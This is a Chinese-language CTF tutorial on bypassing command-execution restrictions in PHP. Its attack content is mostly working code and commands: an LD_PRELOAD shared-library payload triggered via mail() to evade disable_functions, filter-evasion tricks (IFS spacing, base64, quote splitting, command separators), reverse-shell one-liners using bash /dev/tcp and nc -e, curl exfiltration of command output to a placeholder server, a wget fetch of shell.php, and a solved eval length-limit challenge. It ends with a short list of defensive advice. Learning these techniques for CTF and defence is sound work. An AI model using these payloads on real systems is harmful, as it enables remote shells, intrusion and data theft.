CTF中的命令执行绕过
字数 1115 2025-08-13 21:33:22
CTF中的命令执行绕过技术详解
1. 命令执行与代码执行的区别
- 命令执行:调用操作系统命令进行执行(如system, exec等函数)
- 代码执行:调用服务器网站代码进行执行(如eval, assert等函数)
2. 常见命令执行函数
system()- 执行外部程序并显示输出passthru()- 执行外部程序并显示原始输出exec()- 执行外部程序但不直接输出结果shell_exec()- 通过shell执行命令并以字符串返回完整输出- 反引号(
`) - 执行shell命令并返回输出
3. disable_function绕过技术
3.1 LD_PRELOAD方法
条件:目标服务器未禁用mail函数
步骤:
- 编写恶意C代码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls /var/www/html > /tmp/smity");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
- 编译为共享库:
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
- 上传并执行PHP脚本:
<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
?>
3.2 PHP_GC方法
条件:PHP版本7.0 < 7.3 (Unix系统)
原理:利用PHP垃圾回收机制中的UAF(Use After Free)漏洞
4. 过滤字符绕过技术
4.1 空格绕过
可用以下字符代替空格:
<${IFS}$IFS$9%09(URL编码的空格)
示例:
cat<test.txt
cat${IFS}test.txt
cat$IFS$9test.txt
4.2 截断符号
常用截断符号:
;- 命令分隔符|- 管道符&- 后台执行&&- 前命令成功则执行后命令||- 前命令失败则执行后命令%0a- 换行符(URL编码){ }- 命令块
示例:
127.0.0.1;cat /home/flag.txt
command1 && command2
command1 || command2
4.3 Base64编码绕过
示例:
echo 'cat' | base64 # 输出: Y2F0Cg==
`echo 'Y2F0Cg==' | base64 -d` test.txt
4.4 单引号绕过
示例:
cat /etc/pass'w'd
4.5 反斜杠利用
短字符限制绕过:
wget\ domain.com -O\ shell.php
ls\ -t>a
4.6 命令连接技巧
- 创建文件:
1>1 # 创建空文件1
ls>1 # 将ls结果写入文件1
- 按时间排序:
ls -t>a # 按时间排序写入文件a
5. 命令执行结果受限时的解决方案
5.1 反弹Shell
- 传统方法:
bash -i >& /dev/tcp/ip/port 0>&1
- 简化方法:
nc -e /bin/bash ip port
监听端:
nc -lvv 8080
5.2 使用curl外带数据
- GET方式:
curl -v http://your-server/?`whoami`
- POST方式:
curl -v http://your-server --data "`whoami`"
6. 特殊场景绕过案例
6.1 长度限制+eval限制案例
题目代码:
<?php
highlight_file(__FILE__);
if ($x = @$_GET['x']) {
eval(substr($x, 0, 5));
}
?>
绕过方法:
- 利用反引号自执行:
$x=`$x`;nc -e /bin/bash ip port
即使只取前5字符($x=),整个表达式仍会被执行
- 使用连接符:
$x;nc -e /bin/bash ip port
7. 综合防御建议
- 严格过滤所有用户输入
- 使用白名单而非黑名单
- 禁用危险函数(但要知道如何绕过)
- 限制命令执行环境
- 使用自定义函数替代系统命令调用
8. 实战技巧总结
- 遇到过滤时尝试多种编码方式
- 空格被过滤时使用替代符号
- 关键命令被过滤时尝试拼接或编码
- 无回显时考虑外带数据或反弹shell
- 注意不同操作系统(Linux/Windows)的差异
- 利用环境变量和特殊符号进行绕过
通过掌握这些技术,CTF选手和安全研究人员可以更好地理解命令执行的原理和绕过方法,同时也能帮助开发人员编写更安全的代码。